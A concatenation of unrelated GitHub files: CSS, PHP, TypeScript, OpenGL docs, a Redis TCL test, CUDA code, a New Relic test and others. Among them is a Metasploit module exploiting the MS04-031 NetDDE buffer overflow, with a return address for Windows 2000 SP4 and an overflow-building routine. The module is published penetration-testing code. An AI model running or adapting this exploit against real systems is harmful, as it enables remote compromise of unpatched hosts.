decoding_map.update({
0x78: "abc", # 1-n decoding mapping
b"abc": 0x0078,# 1-n encoding mapping
0x01: None, # decoding mapping to <undefined>
0x79: "", # decoding mapping to <remove character>
})
### Encoding Map
encoding_map = {}
for k,v in decoding_map.items():
encoding_map[v] = k
| {
"pile_set_name": "Github"
} |
.build-group {
.group-name {
clear: both;
display: block;
font-weight: bold;
font-size: 14px;
margin-top: .5em;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.group-items {
float: left;
}
}
.theme-dark {
.build-group .group-name {
color: #fff;
margin-bottom: -.3em;
padding-left: 3px;
}
}
.theme-light {
.build-group .group-name {
border-bottom: 1px solid #999;
color: #000;
}
}
| {
"pile_set_name": "Github"
} |
<?php
/**
* @link http://www.yiiframework.com/
* @copyright Copyright (c) 2008 Yii Software LLC
* @license http://www.yiiframework.com/license/
*/
namespace yii\bootstrap;
use yii\base\InvalidConfigException;
use yii\helpers\ArrayHelper;
/**
* Collapse renders an accordion bootstrap javascript component.
*
* For example:
*
* ```php
* echo Collapse::widget([
* 'items' => [
* // equivalent to the above
* [
* 'label' => 'Collapsible Group Item #1',
* 'content' => 'Anim pariatur cliche...',
* // open its content by default
* 'contentOptions' => ['class' => 'in']
* ],
* // another group item
* [
* 'label' => 'Collapsible Group Item #1',
* 'content' => 'Anim pariatur cliche...',
* 'contentOptions' => [...],
* 'options' => [...],
* ],
* // if you want to swap out .panel-body with .list-group, you may use the following
* [
* 'label' => 'Collapsible Group Item #1',
* 'content' => [
* 'Anim pariatur cliche...',
* 'Anim pariatur cliche...'
* ],
* 'contentOptions' => [...],
* 'options' => [...],
* 'footer' => 'Footer' // the footer label in list-group
* ],
* ]
* ]);
* ```
*
* @see http://getbootstrap.com/javascript/#collapse
* @author Antonio Ramirez <[email protected]>
* @since 2.0
*/
class Collapse extends Widget
{
/**
* @var array list of groups in the collapse widget. Each array element represents a single
* group with the following structure:
*
* - label: string, required, the group header label.
* - encode: boolean, optional, whether this label should be HTML-encoded. This param will override
* global `$this->encodeLabels` param.
* - content: array|string|object, required, the content (HTML) of the group
* - options: array, optional, the HTML attributes of the group
* - contentOptions: optional, the HTML attributes of the group's content
*/
public $items = [];
/**
* @var boolean whether the labels for header items should be HTML-encoded.
*/
public $encodeLabels = true;
/**
* Initializes the widget.
*/
public function init()
{
parent::init();
Html::addCssClass($this->options, ['widget' => 'panel-group']);
}
/**
* Renders the widget.
*/
public function run()
{
$this->registerPlugin('collapse');
return implode("\n", [
Html::beginTag('div', $this->options),
$this->renderItems(),
Html::endTag('div')
]) . "\n";
}
/**
* Renders collapsible items as specified on [[items]].
* @throws InvalidConfigException if label isn't specified
* @return string the rendering result
*/
public function renderItems()
{
$items = [];
$index = 0;
foreach ($this->items as $item) {
if (!array_key_exists('label', $item)) {
throw new InvalidConfigException("The 'label' option is required.");
}
$header = $item['label'];
$options = ArrayHelper::getValue($item, 'options', []);
Html::addCssClass($options, ['panel' => 'panel', 'widget' => 'panel-default']);
$items[] = Html::tag('div', $this->renderItem($header, $item, ++$index), $options);
}
return implode("\n", $items);
}
/**
* Renders a single collapsible item group
* @param string $header a label of the item group [[items]]
* @param array $item a single item from [[items]]
* @param integer $index the item index as each item group content must have an id
* @return string the rendering result
* @throws InvalidConfigException
*/
public function renderItem($header, $item, $index)
{
if (array_key_exists('content', $item)) {
$id = $this->options['id'] . '-collapse' . $index;
$options = ArrayHelper::getValue($item, 'contentOptions', []);
$options['id'] = $id;
Html::addCssClass($options, ['widget' => 'panel-collapse', 'collapse' => 'collapse']);
$encodeLabel = isset($item['encode']) ? $item['encode'] : $this->encodeLabels;
if ($encodeLabel) {
$header = Html::encode($header);
}
$headerToggle = Html::a($header, '#' . $id, [
'class' => 'collapse-toggle',
'data-toggle' => 'collapse',
'data-parent' => '#' . $this->options['id']
]) . "\n";
$header = Html::tag('h4', $headerToggle, ['class' => 'panel-title']);
if (is_string($item['content']) || is_object($item['content'])) {
$content = Html::tag('div', $item['content'], ['class' => 'panel-body']) . "\n";
} elseif (is_array($item['content'])) {
$content = Html::ul($item['content'], [
'class' => 'list-group',
'itemOptions' => [
'class' => 'list-group-item'
],
'encode' => false,
]) . "\n";
if (isset($item['footer'])) {
$content .= Html::tag('div', $item['footer'], ['class' => 'panel-footer']) . "\n";
}
} else {
throw new InvalidConfigException('The "content" option should be a string, array or object.');
}
} else {
throw new InvalidConfigException('The "content" option is required.');
}
$group = [];
$group[] = Html::tag('div', $header, ['class' => 'panel-heading']);
$group[] = Html::tag('div', $content, $options);
return implode("\n", $group);
}
}
| {
"pile_set_name": "Github"
} |
declare module 'aurelia-pal-browser' {
import { initializePAL } from 'aurelia-pal';
/**
* Initializes the PAL with the Browser-targeted implementation.
*/
export function initialize(): void;
} | {
"pile_set_name": "Github"
} |
<!--
/**
* Copyright © Magento, Inc. All rights reserved.
* See COPYING.txt for license details.
*/
-->
<if args="visible()">
<text args="address().prefix"/> <text args="address().firstname"/> <text args="address().middlename"/>
<text args="address().lastname"/> <text args="address().suffix"/><br/>
<text args="_.values(address().street).join(', ')"/><br/>
<text args="address().city "/>, <span text="address().region"></span> <text args="address().postcode"/><br/>
<text args="getCountryName(address().countryId)"/><br/>
<a if="address().telephone" attr="'href': 'tel:' + address().telephone" text="address().telephone"></a><br/>
<each args="data: address().customAttributes, as: 'element'">
<text args="$parent.getCustomAttributeLabel(element)"/>
<br/>
</each>
</if>
| {
"pile_set_name": "Github"
} |
<div class="refentry" id="glCopyTexSubImage2D">
<div class="titlepage"></div>
<div class="refnamediv">
<h2>Name</h2>
<p>glCopyTexSubImage2D — copy a two-dimensional texture subimage</p>
</div>
<div class="refsynopsisdiv">
<h2>C Specification</h2>
<div class="funcsynopsis">
<table style="border: 0; cellspacing: 0; cellpadding: 0;" class="funcprototype-table">
<tr>
<td>
<code class="funcdef">void <strong class="fsfunc">glCopyTexSubImage2D</strong>(</code>
</td>
<td>GLenum <var class="pdparam">target</var>, </td>
</tr>
<tr>
<td> </td>
<td>GLint <var class="pdparam">level</var>, </td>
</tr>
<tr>
<td> </td>
<td>GLint <var class="pdparam">xoffset</var>, </td>
</tr>
<tr>
<td> </td>
<td>GLint <var class="pdparam">yoffset</var>, </td>
</tr>
<tr>
<td> </td>
<td>GLint <var class="pdparam">x</var>, </td>
</tr>
<tr>
<td> </td>
<td>GLint <var class="pdparam">y</var>, </td>
</tr>
<tr>
<td> </td>
<td>GLsizei <var class="pdparam">width</var>, </td>
</tr>
<tr>
<td> </td>
<td>GLsizei <var class="pdparam">height</var><code>)</code>;</td>
</tr>
</table>
<div class="funcprototype-spacer"> </div>
</div>
</div>
<div class="refsect1" id="parameters">
<h2>Parameters</h2>
<div class="variablelist">
<dl class="variablelist">
<dt>
<span class="term">
<em class="parameter">
<code>target</code>
</em>
</span>
</dt>
<dd>
<p>
Specifies the target texture.
Must be <code class="constant">GL_TEXTURE_2D</code>,
<code class="constant">GL_TEXTURE_CUBE_MAP_POSITIVE_X</code>,
<code class="constant">GL_TEXTURE_CUBE_MAP_NEGATIVE_X</code>,
<code class="constant">GL_TEXTURE_CUBE_MAP_POSITIVE_Y</code>,
<code class="constant">GL_TEXTURE_CUBE_MAP_NEGATIVE_Y</code>,
<code class="constant">GL_TEXTURE_CUBE_MAP_POSITIVE_Z</code>, or
<code class="constant">GL_TEXTURE_CUBE_MAP_NEGATIVE_Z</code>.
</p>
</dd>
<dt>
<span class="term">
<em class="parameter">
<code>level</code>
</em>
</span>
</dt>
<dd>
<p>
Specifies the level-of-detail number.
Level 0 is the base image level.
Level <span class="emphasis"><em>n</em></span> is the <span class="emphasis"><em>n</em></span>th mipmap reduction image.
</p>
</dd>
<dt>
<span class="term">
<em class="parameter">
<code>xoffset</code>
</em>
</span>
</dt>
<dd>
<p>
Specifies a texel offset in the x direction within the texture array.
</p>
</dd>
<dt>
<span class="term">
<em class="parameter">
<code>yoffset</code>
</em>
</span>
</dt>
<dd>
<p>
Specifies a texel offset in the y direction within the texture array.
</p>
</dd>
<dt>
<span class="term"><em class="parameter"><code>x</code></em>, </span>
<span class="term">
<em class="parameter">
<code>y</code>
</em>
</span>
</dt>
<dd>
<p>
Specify the window coordinates of the lower left corner
of the rectangular region of pixels to be copied.
</p>
</dd>
<dt>
<span class="term">
<em class="parameter">
<code>width</code>
</em>
</span>
</dt>
<dd>
<p>
Specifies the width of the texture subimage.
</p>
</dd>
<dt>
<span class="term">
<em class="parameter">
<code>height</code>
</em>
</span>
</dt>
<dd>
<p>
Specifies the height of the texture subimage.
</p>
</dd>
</dl>
</div>
</div>
<div class="refsect1" id="description">
<h2>Description</h2>
<p>
<code class="function">glCopyTexSubImage2D</code> replaces a rectangular portion of a two-dimensional texture image or
cube-map texture image with pixels from the current <code class="constant">GL_READ_BUFFER</code>
(rather than from main memory, as is the case for <a class="citerefentry" href="glTexSubImage2D"><span class="citerefentry"><span class="refentrytitle">glTexSubImage2D</span></span></a>).
</p>
<p>
The screen-aligned pixel rectangle with lower left corner at
<math overflow="scroll">
<mfenced open="(" close=")">
<mi mathvariant="italic">x</mi>
<mi mathvariant="italic">y</mi>
</mfenced>
</math>
and with
width <em class="parameter"><code>width</code></em> and height <em class="parameter"><code>height</code></em> replaces the portion of the
texture array with x indices <em class="parameter"><code>xoffset</code></em> through
<math overflow="scroll">
<mrow>
<mi mathvariant="italic">xoffset</mi>
<mo>+</mo>
<mi mathvariant="italic">width</mi>
<mo>-</mo>
<mn>1</mn>
</mrow>
</math>,
inclusive, and y indices <em class="parameter"><code>yoffset</code></em> through
<math overflow="scroll">
<mrow>
<mi mathvariant="italic">yoffset</mi>
<mo>+</mo>
<mi mathvariant="italic">height</mi>
<mo>-</mo>
<mn>1</mn>
</mrow>
</math>,
inclusive, at the mipmap level specified by <em class="parameter"><code>level</code></em>.
</p>
<p>
The pixels in the rectangle are processed exactly as if
<a class="citerefentry" href="glReadPixels"><span class="citerefentry"><span class="refentrytitle">glReadPixels</span></span></a> had been called, but the process stops after
conversion to RGBA values. The error <code class="constant">GL_INVALID_OPERATION</code> is generated if integer RGBA data is
required and the format of the current color buffer is not integer; or if floating- or fixed-point RGBA
data is required and the format of the current color buffer is integer.
</p>
<p>
The destination rectangle in the texture array may not include any texels
outside the texture array as it was originally specified.
It is not an error to specify a subtexture with zero width or height, but
such a specification has no effect.
</p>
<p>
If any of the pixels within the specified rectangle of the current
<code class="constant">GL_READ_BUFFER</code> are outside the read window associated with the current
rendering context, then the values obtained for those pixels are undefined.
</p>
<p>
No change is made to the <span class="emphasis"><em>internalformat</em></span>, <span class="emphasis"><em>width</em></span>,
<span class="emphasis"><em>height</em></span>, or <span class="emphasis"><em>border</em></span> parameters of the specified texture
array or to texel values outside the specified subregion.
</p>
</div>
<div class="refsect1" id="notes">
<h2>Notes</h2>
<p>
<a class="citerefentry" href="glPixelStorei"><span class="citerefentry"><span class="refentrytitle">glPixelStorei</span></span></a> modes affect texture images.
</p>
</div>
<div class="refsect1" id="errors">
<h2>Errors</h2>
<p>
<code class="constant">GL_INVALID_ENUM</code> is generated if <em class="parameter"><code>target</code></em> is not <code class="constant">GL_TEXTURE_2D</code>,
<code class="constant">GL_TEXTURE_CUBE_MAP_POSITIVE_X</code>,
<code class="constant">GL_TEXTURE_CUBE_MAP_NEGATIVE_X</code>,
<code class="constant">GL_TEXTURE_CUBE_MAP_POSITIVE_Y</code>,
<code class="constant">GL_TEXTURE_CUBE_MAP_NEGATIVE_Y</code>,
<code class="constant">GL_TEXTURE_CUBE_MAP_POSITIVE_Z</code>, or
<code class="constant">GL_TEXTURE_CUBE_MAP_NEGATIVE_Z</code>.
</p>
<p>
<code class="constant">GL_INVALID_OPERATION</code> is generated if the texture array has not been
defined by a previous <a class="citerefentry" href="glTexImage2D"><span class="citerefentry"><span class="refentrytitle">glTexImage2D</span></span></a>,
<a class="citerefentry" href="glCopyTexImage2D"><span class="citerefentry"><span class="refentrytitle">glCopyTexImage2D</span></span></a>, or
<a class="citerefentry" href="glTexStorage2D"><span class="citerefentry"><span class="refentrytitle">glTexStorage2D</span></span></a> operation.
</p>
<p>
<code class="constant">GL_INVALID_VALUE</code> is generated if <em class="parameter"><code>level</code></em> is less than 0.
</p>
<p>
<code class="constant">GL_INVALID_VALUE</code> may be generated if
<math overflow="scroll">
<mrow>
<mi mathvariant="italic">level</mi>
<mo>></mo>
<mrow>
<msub><mi mathvariant="italic">log</mi>
<mn>2</mn>
</msub>
<mo></mo>
<mfenced open="(" close=")">
<mi mathvariant="italic">max</mi>
</mfenced>
</mrow>
</mrow>
</math>,
where
<math overflow="scroll"><mi mathvariant="italic">max</mi></math>
is the returned value of <code class="constant">GL_MAX_TEXTURE_SIZE</code>.
</p>
<p>
<code class="constant">GL_INVALID_VALUE</code> is generated if
<math overflow="scroll">
<mrow>
<mfenced open="(" close=")">
<mrow>
<mi mathvariant="italic">xoffset</mi>
<mo>+</mo>
<mi mathvariant="italic">width</mi>
</mrow>
</mfenced>
<mo>></mo>
<mi mathvariant="italic">w</mi>
</mrow>
</math>,
or
<math overflow="scroll">
<mrow>
<mfenced open="(" close=")">
<mrow>
<mi mathvariant="italic">yoffset</mi>
<mo>+</mo>
<mi mathvariant="italic">height</mi>
</mrow>
</mfenced>
<mo>></mo>
<mi mathvariant="italic">h</mi>
</mrow>
</math>,
where
<math overflow="scroll"><mi mathvariant="italic">w</mi></math>
is the <code class="constant">GL_TEXTURE_WIDTH</code>,
<math overflow="scroll"><mi mathvariant="italic">h</mi></math>
is the <code class="constant">GL_TEXTURE_HEIGHT</code>,
of the texture image being modified.
</p>
</div>
{$pipelinestall}{$examples}
<div class="refsect1" id="versions">
<h2>API Version Support</h2>
<div class="informaltable">
<table style="border-collapse: collapse; border-top: 2px solid ; border-bottom: 2px solid ; border-left: 2px solid ; border-right: 2px solid ; ">
<colgroup>
<col style="text-align: left; "/>
<col style="text-align: center; " class="firstvers"/>
<col style="text-align: center; "/>
<col style="text-align: center; " class="lastvers"/>
</colgroup>
<thead>
<tr>
<th style="text-align: left; border-right: 2px solid ; ">
</th>
<th style="text-align: center; border-bottom: 2px solid ; " colspan="3">
<span class="bold"><strong>OpenGL ES API Version</strong></span>
</th>
</tr>
<tr>
<th style="text-align: left; border-right: 2px solid ; border-bottom: 2px solid ; ">
<span class="bold"><strong>Function Name</strong></span>
</th>
<th style="text-align: center; border-right: 2px solid ; border-bottom: 2px solid ; ">
<span class="bold"><strong>2.0</strong></span>
</th>
<th style="text-align: center; border-right: 2px solid ; border-bottom: 2px solid ; ">
<span class="bold"><strong>3.0</strong></span>
</th>
<th style="text-align: center; border-bottom: 2px solid ; ">
<span class="bold"><strong>3.1</strong></span>
</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: left; border-right: 2px solid ; ">glCopyTexSubImage2D</td>
<td style="text-align: center; border-right: 2px solid ; ">✔</td>
<td style="text-align: center; border-right: 2px solid ; ">✔</td>
<td style="text-align: center; ">✔</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="refsect1" id="seealso">
<h2>See Also</h2>
<p>
<a class="citerefentry" href="glCopyTexImage2D"><span class="citerefentry"><span class="refentrytitle">glCopyTexImage2D</span></span></a>,
<a class="citerefentry" href="glCopyTexSubImage3D"><span class="citerefentry"><span class="refentrytitle">glCopyTexSubImage3D</span></span></a>,
<a class="citerefentry" href="glPixelStorei"><span class="citerefentry"><span class="refentrytitle">glPixelStorei</span></span></a>,
<a class="citerefentry" href="glReadBuffer"><span class="citerefentry"><span class="refentrytitle">glReadBuffer</span></span></a>,
<a class="citerefentry" href="glTexImage2D"><span class="citerefentry"><span class="refentrytitle">glTexImage2D</span></span></a>,
<a class="citerefentry" href="glTexImage3D"><span class="citerefentry"><span class="refentrytitle">glTexImage3D</span></span></a>,
<a class="citerefentry" href="glTexParameter"><span class="citerefentry"><span class="refentrytitle">glTexParameter</span></span></a>,
<a class="citerefentry" href="glTexSubImage2D"><span class="citerefentry"><span class="refentrytitle">glTexSubImage2D</span></span></a>,
<a class="citerefentry" href="glTexSubImage3D"><span class="citerefentry"><span class="refentrytitle">glTexSubImage3D</span></span></a>
</p>
</div>
<div class="refsect1" id="Copyright">
<h2>Copyright</h2>
<p>
Copyright © 1991-2006 Silicon Graphics, Inc.
Copyright © 2010-2014 Khronos Group.
This document is licensed under the SGI Free Software B License.
For details, see
<a class="link" href="https://web.archive.org/web/20171022161616/http://oss.sgi.com/projects/FreeB/" target="_top">https://web.archive.org/web/20171022161616/http://oss.sgi.com/projects/FreeB/</a>.
</p>
</div>
</div>
| {
"pile_set_name": "Github"
} |
#pragma once
#include <opencv2/core/cuda.hpp>
#include <thrust/iterator/permutation_iterator.h>
#include <thrust/iterator/transform_iterator.h>
#include <thrust/iterator/counting_iterator.h>
#include <thrust/device_ptr.h>
/*
@Brief step_functor is an object to correctly step a thrust iterator according to the stride of a matrix
*/
//! [step_functor]
template<typename T> struct step_functor : public thrust::unary_function<int, int>
{
int columns;
int step;
int channels;
__host__ __device__ step_functor(int columns_, int step_, int channels_ = 1) : columns(columns_), step(step_), channels(channels_) { };
__host__ step_functor(cv::cuda::GpuMat& mat)
{
CV_Assert(mat.depth() == cv::DataType<T>::depth);
columns = mat.cols;
step = mat.step / sizeof(T);
channels = mat.channels();
}
__host__ __device__
int operator()(int x) const
{
int row = x / columns;
int idx = (row * step) + (x % columns)*channels;
return idx;
}
};
//! [step_functor]
//! [begin_itr]
/*
@Brief GpuMatBeginItr returns a thrust compatible iterator to the beginning of a GPU mat's memory.
@Param mat is the input matrix
@Param channel is the channel of the matrix that the iterator is accessing. If set to -1, the iterator will access every element in sequential order
*/
template<typename T>
thrust::permutation_iterator<thrust::device_ptr<T>, thrust::transform_iterator<step_functor<T>, thrust::counting_iterator<int>>> GpuMatBeginItr(cv::cuda::GpuMat mat, int channel = 0)
{
if (channel == -1)
{
mat = mat.reshape(1);
channel = 0;
}
CV_Assert(mat.depth() == cv::DataType<T>::depth);
CV_Assert(channel < mat.channels());
return thrust::make_permutation_iterator(thrust::device_pointer_cast(mat.ptr<T>(0) + channel),
thrust::make_transform_iterator(thrust::make_counting_iterator(0), step_functor<T>(mat.cols, mat.step / sizeof(T), mat.channels())));
}
//! [begin_itr]
//! [end_itr]
/*
@Brief GpuMatEndItr returns a thrust compatible iterator to the end of a GPU mat's memory.
@Param mat is the input matrix
@Param channel is the channel of the matrix that the iterator is accessing. If set to -1, the iterator will access every element in sequential order
*/
template<typename T>
thrust::permutation_iterator<thrust::device_ptr<T>, thrust::transform_iterator<step_functor<T>, thrust::counting_iterator<int>>> GpuMatEndItr(cv::cuda::GpuMat mat, int channel = 0)
{
if (channel == -1)
{
mat = mat.reshape(1);
channel = 0;
}
CV_Assert(mat.depth() == cv::DataType<T>::depth);
CV_Assert(channel < mat.channels());
return thrust::make_permutation_iterator(thrust::device_pointer_cast(mat.ptr<T>(0) + channel),
thrust::make_transform_iterator(thrust::make_counting_iterator(mat.rows*mat.cols), step_functor<T>(mat.cols, mat.step / sizeof(T), mat.channels())));
}
//! [end_itr] | {
"pile_set_name": "Github"
} |
# encoding: utf-8
# This file is distributed under New Relic's license terms.
# See https://github.com/newrelic/newrelic-ruby-agent/blob/main/LICENSE for complete details.
require File.expand_path(File.join(File.dirname(__FILE__), '..', '..', '..', 'test_helper'))
require 'new_relic/agent/database/postgres_explain_obfuscator'
module NewRelic::Agent::Database
class PostgresExplainObfuscatorTest < Minitest::Test
attr_reader :obfuscator
def self.input_files
fixture_dir = File.join(cross_agent_tests_dir, "postgres_explain_obfuscation")
Dir["#{fixture_dir}/*.explain.txt"]
end
def self.name_for_input_file(input_file)
File.basename(input_file, ".explain.txt")
end
input_files.each do |input_file|
define_method("test_#{name_for_input_file(input_file)}_explain_plan_obfuscation") do
explain = File.read(input_file)
expected_obfuscated = File.read(obfuscated_filename(input_file))
actual_obfuscated = PostgresExplainObfuscator.obfuscate(explain)
assert_equal(expected_obfuscated, actual_obfuscated)
end
end
def obfuscated_filename(query_file)
query_file.gsub(".explain.", ".colon_obfuscated.")
end
end
end
| {
"pile_set_name": "Github"
} |
/* This is a compiled file, to make changes persist, consider editing under the templates directory */
.pace {
-webkit-pointer-events: none;
pointer-events: none;
-webkit-user-select: none;
-moz-user-select: none;
user-select: none;
}
.pace-inactive {
display: none;
}
.pace .pace-progress {
background: #7c60e0;
position: fixed;
z-index: 2000;
top: 0;
right: 100%;
width: 100%;
height: 2px;
}
.pace .pace-progress-inner {
display: block;
position: absolute;
right: 0px;
width: 100px;
height: 100%;
box-shadow: 0 0 10px #7c60e0, 0 0 5px #7c60e0;
opacity: 1.0;
-webkit-transform: rotate(3deg) translate(0px, -4px);
-moz-transform: rotate(3deg) translate(0px, -4px);
-ms-transform: rotate(3deg) translate(0px, -4px);
-o-transform: rotate(3deg) translate(0px, -4px);
transform: rotate(3deg) translate(0px, -4px);
}
.pace .pace-activity {
display: block;
position: fixed;
z-index: 2000;
top: 15px;
right: 15px;
width: 14px;
height: 14px;
border: solid 2px transparent;
border-top-color: #7c60e0;
border-left-color: #7c60e0;
border-radius: 10px;
-webkit-animation: pace-spinner 400ms linear infinite;
-moz-animation: pace-spinner 400ms linear infinite;
-ms-animation: pace-spinner 400ms linear infinite;
-o-animation: pace-spinner 400ms linear infinite;
animation: pace-spinner 400ms linear infinite;
}
@-webkit-keyframes pace-spinner {
0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); }
100% { -webkit-transform: rotate(360deg); transform: rotate(360deg); }
}
@-moz-keyframes pace-spinner {
0% { -moz-transform: rotate(0deg); transform: rotate(0deg); }
100% { -moz-transform: rotate(360deg); transform: rotate(360deg); }
}
@-o-keyframes pace-spinner {
0% { -o-transform: rotate(0deg); transform: rotate(0deg); }
100% { -o-transform: rotate(360deg); transform: rotate(360deg); }
}
@-ms-keyframes pace-spinner {
0% { -ms-transform: rotate(0deg); transform: rotate(0deg); }
100% { -ms-transform: rotate(360deg); transform: rotate(360deg); }
}
@keyframes pace-spinner {
0% { transform: rotate(0deg); transform: rotate(0deg); }
100% { transform: rotate(360deg); transform: rotate(360deg); }
}
| {
"pile_set_name": "Github"
} |
<div class="row">
<input type="text" id="title" class="expand"></input>
</div>
<div class="row small">
<label>Description:</label>
</div>
<div class="row expand">
<textarea rows="8" id="description" class="expand"></textarea>
</div>
| {
"pile_set_name": "Github"
} |
source "../tests/includes/init-tests.tcl"
source "../../../tests/support/cli.tcl"
test "Create a 5 nodes cluster" {
create_cluster 5 5
}
test "Cluster should start ok" {
assert_cluster_state ok
}
test "Cluster is writable" {
cluster_write_test 0
}
proc find_non_empty_master {} {
set master_id_no {}
foreach_redis_id id {
if {[RI $id role] eq {master} && [R $id dbsize] > 0} {
set master_id_no $id
}
}
return $master_id_no
}
proc get_one_of_my_replica {id} {
set replica_port [lindex [lindex [lindex [R $id role] 2] 0] 1]
set replica_id_num [get_instance_id_by_port redis $replica_port]
return $replica_id_num
}
proc cluster_write_keys_with_expire {id ttl} {
set prefix [randstring 20 20 alpha]
set port [get_instance_attrib redis $id port]
set cluster [redis_cluster 127.0.0.1:$port]
for {set j 100} {$j < 200} {incr j} {
$cluster setex key_expire.$j $ttl $prefix.$j
}
$cluster close
}
# make sure that replica who restarts from persistence will load keys
# that have already expired, critical for correct execution of commands
# that arrive from the master
proc test_slave_load_expired_keys {aof} {
test "Slave expired keys is loaded when restarted: appendonly=$aof" {
set master_id [find_non_empty_master]
set replica_id [get_one_of_my_replica $master_id]
set master_dbsize_0 [R $master_id dbsize]
set replica_dbsize_0 [R $replica_id dbsize]
assert_equal $master_dbsize_0 $replica_dbsize_0
# config the replica persistency and rewrite the config file to survive restart
# note that this needs to be done before populating the volatile keys since
# that triggers and AOFRW, and we rather the AOF file to have SETEX commands
# rather than an RDB with volatile keys
R $replica_id config set appendonly $aof
R $replica_id config rewrite
# fill with 100 keys with 3 second TTL
set data_ttl 3
cluster_write_keys_with_expire $master_id $data_ttl
# wait for replica to be in sync with master
wait_for_condition 500 10 {
[R $replica_id dbsize] eq [R $master_id dbsize]
} else {
fail "replica didn't sync"
}
set replica_dbsize_1 [R $replica_id dbsize]
assert {$replica_dbsize_1 > $replica_dbsize_0}
# make replica create persistence file
if {$aof == "yes"} {
# we need to wait for the initial AOFRW to be done, otherwise
# kill_instance (which now uses SIGTERM will fail ("Writing initial AOF, can't exit")
wait_for_condition 100 10 {
[RI $replica_id aof_rewrite_in_progress] eq 0
} else {
fail "keys didn't expire"
}
} else {
R $replica_id save
}
# kill the replica (would stay down until re-started)
kill_instance redis $replica_id
# Make sure the master doesn't do active expire (sending DELs to the replica)
R $master_id DEBUG SET-ACTIVE-EXPIRE 0
# wait for all the keys to get logically expired
after [expr $data_ttl*1000]
# start the replica again (loading an RDB or AOF file)
restart_instance redis $replica_id
# make sure the keys are still there
set replica_dbsize_3 [R $replica_id dbsize]
assert {$replica_dbsize_3 > $replica_dbsize_0}
# restore settings
R $master_id DEBUG SET-ACTIVE-EXPIRE 1
# wait for the master to expire all keys and replica to get the DELs
wait_for_condition 500 10 {
[R $replica_id dbsize] eq $master_dbsize_0
} else {
fail "keys didn't expire"
}
}
}
test_slave_load_expired_keys no
test_slave_load_expired_keys yes
| {
"pile_set_name": "Github"
} |
{
"_from": "lodash._reescape@^3.0.0",
"_id": "[email protected]",
"_inBundle": false,
"_integrity": "sha1-Kx1vXf4HyKNVdT5fJ/rH8c3hYWo=",
"_location": "/lodash._reescape",
"_phantomChildren": {},
"_requested": {
"type": "range",
"registry": true,
"raw": "lodash._reescape@^3.0.0",
"name": "lodash._reescape",
"escapedName": "lodash._reescape",
"rawSpec": "^3.0.0",
"saveSpec": null,
"fetchSpec": "^3.0.0"
},
"_requiredBy": [
"/gulp-util"
],
"_resolved": "https://registry.npmjs.org/lodash._reescape/-/lodash._reescape-3.0.0.tgz",
"_shasum": "2b1d6f5dfe07c8a355753e5f27fac7f1cde1616a",
"_spec": "lodash._reescape@^3.0.0",
"_where": "/Users/jhc/htdocs/StartupEngine/resources/views/admin/templates/node_modules/gulp-util",
"author": {
"name": "John-David Dalton",
"email": "[email protected]",
"url": "http://allyoucanleet.com/"
},
"bugs": {
"url": "https://github.com/lodash/lodash/issues"
},
"bundleDependencies": false,
"contributors": [
{
"name": "John-David Dalton",
"email": "[email protected]",
"url": "http://allyoucanleet.com/"
},
{
"name": "Benjamin Tan",
"email": "[email protected]",
"url": "https://d10.github.io/"
},
{
"name": "Blaine Bublitz",
"email": "[email protected]",
"url": "http://www.iceddev.com/"
},
{
"name": "Kit Cambridge",
"email": "[email protected]",
"url": "http://kitcambridge.be/"
},
{
"name": "Mathias Bynens",
"email": "[email protected]",
"url": "https://mathiasbynens.be/"
}
],
"deprecated": false,
"description": "The modern build of lodash’s internal `reEscape` as a module.",
"homepage": "https://lodash.com/",
"icon": "https://lodash.com/icon.svg",
"license": "MIT",
"name": "lodash._reescape",
"repository": {
"type": "git",
"url": "git+https://github.com/lodash/lodash.git"
},
"scripts": {
"test": "echo \"See https://travis-ci.org/lodash/lodash-cli for testing details.\""
},
"version": "3.0.0"
}
| {
"pile_set_name": "Github"
} |
##
# $Id: ms04_031_netdde.rb 9669 2010-07-03 03:13:45Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft NetDDE Service Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the NetDDE service, which is the
precursor to the DCOM interface. This exploit effects only operating systems
released prior to Windows XP SP1 (2000 SP4, XP SP0). Despite Microsoft's claim
that this vulnerability can be exploited without authentication, the NDDEAPI
pipe is only accessible after successful authentication.
},
'Author' => [ 'pusscat' ],
'License' => BSD_LICENSE,
'Version' => '$Revision: 9669 $',
'References' =>
[
[ 'CVE', '2004-0206'],
[ 'OSVDB', '10689'],
[ 'BID', '11372'],
[ 'MSB', 'MS04-031'],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Space' => (0x600 - (133*4) - 4),
'BadChars' => "\\/.:$\x00", # \ / . : $ NULL
'Prepend' => 'A' * 8,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 SP4', { 'Ret' => 0x77e56f43 } ], # push esp, ret :)
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 12 2004'))
register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use (nddeapi)", 'nddeapi']),
], self.class)
end
def exploit
connect()
smb_login()
print_status("Trying target #{target.name}...")
handle = dcerpc_handle('2f5f3220-c126-1076-b549-074d078619da', '1.2', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
print_status("Binding to #{handle}")
dcerpc_bind(handle)
print_status("Bound to #{handle}")
retOverWrite =
'AA' + (NDR.long(target.ret) * 133) + payload.encoded
overflowChunk =
retOverWrite +
NDR.long(0xCA7CA7) + # Mew. 3 bytes enter. 1 byte null.
NDR.long(0x0)
stubdata =
NDR.UnicodeConformantVaryingStringPreBuilt(overflowChunk) +
NDR.long(rand(0xFFFFFFFF))
print_status('Calling the vulnerable function...')
begin
response = dcerpc.call(0xc, stubdata)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
end
handler
disconnect
end
end | {
"pile_set_name": "Github"
} |
/*=============================================================================
Copyright (c) 2001-2011 Joel de Guzman
Distributed under the Boost Software License, Version 1.0. (See accompanying
